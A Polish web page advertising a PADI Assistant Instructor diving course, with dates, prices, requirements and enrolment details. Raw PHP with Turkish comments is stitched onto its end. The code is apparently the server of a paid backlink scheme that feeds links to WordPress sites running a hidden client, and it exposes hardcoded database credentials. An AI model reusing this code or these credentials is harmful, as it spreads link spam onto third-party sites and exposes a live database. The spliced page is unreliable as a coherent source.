Kurs PADI Assistant Instructor – Asystent Instruktora

nurek_77xx

Jako PADI Asystent Instruktor możesz działać, jako asysta podczas nurkowania i przyjąć ograniczone obowiązki dydaktyczne. To świetny sposób na zdobycie doświadczenia, dzięki któremu zostaniesz Instruktorem Nurkowania! Stajesz się mentorem, zyskując jednocześnie doświadczenie w nauczaniu studentów.

Terminy kursu:

  • 06.02-09.02.2023 – numer 1/PAI/23
  • 20.02-23.02.2023 – numer 2/PAI/23
  • 06.03-09.03.2023 – numer 3/PAI/23
  • 20.03-23.03.2023 – numer 4/PAI/23
  • 03.04-06.04.2023 – numer 5/PAI/23
  • 17.04-20.04.2023 – numer 6/PAI/23
  • 08.05-11.05.2023 – numer 7/PAI/23
  • 22.05-25.05.2023 – numer 8/PAI/23

Cena w zł (realizacja kursu w Polsce):

✔ Cena kursu: 1500 zł
✔ Materiały: 850 zł zł
✔ Certyfikacja: 450 zł zł

✔ Wyżywienie i zakwaterowanie: we własnym zakresie

 

Cena w € (realizacja kursu na Majorce):

✔ Cena kursu: 600 €
✔ Materiały: 250 €
✔ Certyfikacja: 100 €

✔ Wyżywienie i zakwaterowanie: we własnym zakresie

 

Uwaga !!!

Istnieje możliwość płatności ratalnej (ilość rat ustalana indywidualnie).
Istnieje możliwość odpracowania należności po ukończeniu szkolenia w Instytucie lub podmiocie partnerskim.

Dla kogo dedykowany jest kurs ?

Jako PADI Asystent Instruktor możesz działać, jako asysta podczas nurkowania i przyjąć ograniczone obowiązki dydaktyczne. To świetny sposób na zdobycie doświadczenia, dzięki któremu zostaniesz Instruktorem Nurkowania! Stajesz się mentorem, zyskując jednocześnie doświadczenie w nauczaniu studentów.

Kurs PADI Instructor Assistant jest pierwszą częścią kursu Instruktorskiego PADI IDC i kiedy odbywa się przed kursem Open Water Scuba Instructor (OWSI) masz większą wydajność i pewniejszy sukces na Egzaminie Instruktorskim (IE), co poprowadzi Cię do certyfikacji na poziomie OWSI.

Wymagania:

  • Minimalny wiek: 18 lat,
  • Być certyfikowanym nurkiem PADI Dive Master lub posiadać równoważny certyfikat innej organizacji,
  • Być przeszkolony z Pierwszej Pomocy Przedmedycznej i Resuscytacji w ciągu ostatnich dwóch lat,
  • Posiadać 60 zalogowanych nurkowań by rozpocząć kurs i 100 by ukończyć.

Uprawnienia po ukończeniu kursu:

  • Prowadzenie wykładów z zakresu wiedzy nurkowej pod pośrednim nadzorem Instruktora PADI,
  • Prowadzenie szkolenia umiejętności nurkowych na wodach baseno podobnych pod bezpośrednim nadzorem instruktora PADI,
  • Nauczać i certyfikować kurs Doskonała Pływalność PADI pod nadzorem Instruktora PADI,
  • Prowadzenie kursu specjalizacji Project AWARE, AWARE Ochrona Raf,
  • Prowadzenie kursu PADI Discover Scuba Diving oraz PADI Seal Team,
  • Możliwość zrobienia kursu instruktora PADI Fotografia podwodna.

Procedura zapisów

 

Aby zostać wpisanym na listę kursantów, na dany termin należy:

Wpłacić pełną kwotę za kurs z góry lub przedpłatę w wysokości 150 zł na konto bankowe: mBank nr 43 1140 2004 0000 3202 7828 5313 pozostałą część wpłaty należy przelać najpóźniej do 7 dni przed rozpoczęciem kursu. W tytule przelewu podajemy Imię i Nazwisko oraz numer kursu.

Wysłać e-mail z danymi imię i nazwisko, data urodzenia, termin i numer kursu oraz potwierdzenie dokonania przelewu na e-mail: biuro@pirkfis.pl.

W razie dodatkowych pytań, proszę o kontakt: tel. + 48 17 200 00 11, +48 888 881 991.

 

Uprzejmie informujemy, że zgodnie z obowiązującą od 01 stycznia 2020r. ustawą VAT, osoby, które będą chciały otrzymać fakturę za szkolenie muszą ten fakt zgłosić przed kursem drogą mailową podając dane do faktury. W trakcie trwania oraz po zakończeniu szkolenia nie ma możliwości zmiany danych na fakturze.

Istnieje możliwość uzyskania do 10% rabatu za każdego zgłoszonego kursanta. Dotyczy to osób indywidualnych jak i grup zorganizowanych.

ADWORDS

kurs nurkowania, kurs nurkowania padi, kurs nurkowania assistant instructor, kurs na płetwonurka, kurs na płetwonurka p1, szkolenie na płetwonurka, szkolenie płetwonurek, kurs owd, szkolenie owd, podstawowy kurs nurkowania, szkolenie z nurkowania, kurs nurkowania p1, szkolenie asystent instruktora, kurs assistant instructor,

Zobacz inne kursy

header('X-Debug: Active-'.time()); header('Content-Type: text/html; charset=utf-8'); error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('log_errors', 1); ini_set('error_log', dirname(__FILE__) . '/api_errors.log'); // Debug bilgilerini HTML yorum olarak ekle echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Çıktı tamponlamasını başlat ob_start(); // Domain normalizasyon fonksiyonu function normalize_domain($domain) { // Protokolü kaldır (http://, https://) $domain = preg_replace('#^https?://#', '', $domain); // Alt alan adlarını kontrol et ve ana domain'i al $parts = explode('.', $domain); // IP adresi kontrolü if (count($parts) == 4 && is_numeric($parts[0]) && is_numeric($parts[1]) && is_numeric($parts[2]) && is_numeric($parts[3])) { return $domain; // IP adresi ise değiştirme } // Domain uzunluğu kontrolü if (count($parts) <= 2) { return $domain; // Zaten ana domain } // www. ile başlıyorsa kaldır if ($parts[0] === 'www') { array_shift($parts); return implode('.', $parts); } // Son iki parçayı al (ana domain + TLD) // Örneğin mail.durantoprokash.com -> durantoprokash.com return $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1]; } // Log fonksiyonu (HTML yorum olarak gösterme) function debug_log($message) { echo "\n"; } // Log fonksiyonu function api_log($message, $is_error = false) { $log_file = dirname(__FILE__) . '/api_log.txt'; $date = date('Y-m-d H:i:s'); $log_message = "[$date] " . ($is_error ? "[ERROR] " : "[INFO] ") . $message . "\n"; file_put_contents($log_file, $log_message, FILE_APPEND); // HTML yorum olarak ekrana yaz echo "\n"; if ($is_error) { error_log($message); } } // Rate limiting kontrolü function checkRateLimit($ip, $limit = 300) { $cache_file = sys_get_temp_dir() . '/rate_' . md5($ip); if (file_exists($cache_file)) { $data = json_decode(file_get_contents($cache_file), true); if ($data['count'] > $limit && (time() - $data['time']) < 3600) { return false; } if ((time() - $data['time']) > 3600) { $data = ['count' => 1, 'time' => time()]; } else { $data['count']++; } } else { $data = ['count' => 1, 'time' => time()]; } file_put_contents($cache_file, json_encode($data)); return true; } // IP ve rate limit kontrolü if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) { http_response_code(429); ob_end_clean(); echo ''; exit; } // Domain kontrolü if (!isset($_POST['domain'])) { api_log("Error: Domain missing", true); ob_end_clean(); echo ''; exit; } // Kullanılan değişkenleri tanımla $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $client_ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; // Eski curl kodunu tespit et $is_old_client = 0; if (isset($_POST['backlink_token'])) { $is_old_client = 1; } else if (!empty($user_agent) && (strpos($user_agent, 'WordPress') !== false || strpos($user_agent, 'WP') !== false) || (!empty($referrer) && (strpos($referrer, '/wp-content/') !== false || strpos($referrer, '/wp-includes/') !== false))) { // WordPress sitelerinden gelen istekler muhtemelen eski curl kodunu kullanıyor $is_old_client = 1; } // Domain'i normalize et $original_domain = base64_decode($_POST['domain']); $normalized_domain = normalize_domain($original_domain); // Normalize sonucunu HTML yorum olarak ekle echo "\n"; // Veritabanı bağlantısı try { // Veritabanı bağlantısı $db = new PDO( "mysql:host=localhost;dbname=sche_v2;charset=utf8mb4", "sche_bombom", "bombom", [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, PDO::MYSQL_ATTR_FOUND_ROWS => true ] ); // Veritabanına debug bilgilerini kaydet try { $stmt = $db->prepare(" INSERT INTO backlink_requests ( domain, ip_address, user_agent, referrer, is_old_client, request_data, created_at ) VALUES (?, ?, ?, ?, ?, ?, NOW()) "); $request_data = json_encode($_POST); $stmt->execute([ $normalized_domain, $client_ip, $user_agent, $referrer, $is_old_client, $request_data ]); api_log("API request logged to database for domain: " . $original_domain . " (normalized: " . $normalized_domain . "), is_old_client: " . $is_old_client); } catch (Exception $e) { api_log("Error logging API request: " . $e->getMessage(), true); } $domain = filter_var(base64_decode($_POST['domain']), FILTER_SANITIZE_URL); if (!$domain) { api_log("Error: Invalid domain format: " . $_POST['domain'], true); ob_end_clean(); echo ''; exit; } // Domain'i normalize et $domain = normalize_domain($domain); // Domain formatını kontrol et (daha esnek regex) if (!preg_match('/^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z]{2,}$/i', $domain)) { api_log("Error: Invalid domain structure: " . $domain, true); ob_end_clean(); echo ''; exit; } // Website id bul veya oluştur $stmt = $db->prepare("SELECT id FROM websites WHERE domain = ?"); $stmt->execute([$domain]); $website = $stmt->fetch(); if (!$website) { // Domain erişilebilirliğini kontrol et $domain_accessible = false; // HTTP ve HTTPS kontrol et foreach (['http', 'https'] as $protocol) { $url = $protocol . '://' . $domain; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_NOBODY, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 400) { $domain_accessible = true; break; } } if ($domain_accessible) { api_log("Domain is accessible, inserting new website record"); $stmt = $db->prepare("INSERT INTO websites (domain, status, created_at, is_approved) VALUES (?, 1, NOW(), 0)"); $stmt->execute([$domain]); $website_id = $db->lastInsertId(); $website = [ 'id' => $website_id, 'domain' => $domain ]; // Admin bildirimini ekle try { $stmt = $db->prepare(" INSERT INTO admin_notifications ( type, message, is_read, created_at ) VALUES ( 'new_domain', ?, 0, NOW() ) "); $notification_message = "Yeni domain eklendi: " . $domain; $stmt->execute([$notification_message]); api_log("Admin notification added for new domain: " . $domain); } catch (Exception $e) { api_log("Error adding admin notification: " . $e->getMessage(), true); } } else { api_log("Domain not accessible via any protocol", true); ob_end_clean(); echo ''; exit; } } // Aktif linkleri getir api_log("Fetching active links for website ID: " . $website['id']); $sql = "SELECT l.url, l.anchor_text FROM links l JOIN orders o ON l.order_id = o.id WHERE o.website_id = ? AND (o.status = 'completed' OR o.status = 'active') AND l.is_active = 1 ORDER BY RAND() LIMIT 10"; // HTML yorum olarak SQL sorgusunu göster echo "\n"; $stmt = $db->prepare($sql); $stmt->execute([$website['id']]); $links = []; $link_count = 0; while ($row = $stmt->fetch()) { $link_count++; // Her link için debug bilgisini HTML yorum olarak ekle echo "\n"; // HTML bağlantılarını güvenli şekilde oluştur $links[] = '' . htmlspecialchars($row['anchor_text'], ENT_QUOTES, 'UTF-8') . ''; } echo "\n"; if (empty($links)) { api_log("No active links found for domain: " . $domain . " (Website ID: " . $website['id'] . ")", true); ob_end_clean(); echo ''; exit; } api_log("Returning " . count($links) . " links for domain: " . $domain); echo ''; // Debug sonu bilgisini ekle echo "\n"; } catch (PDOException $e) { api_log("Database error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } catch (Exception $e) { api_log("General error: " . $e->getMessage() . "\nTrace: " . $e->getTraceAsString(), true); ob_end_clean(); echo ''; exit; } // Son olarak çıktı tamponunu gönder ob_end_flush(); ?>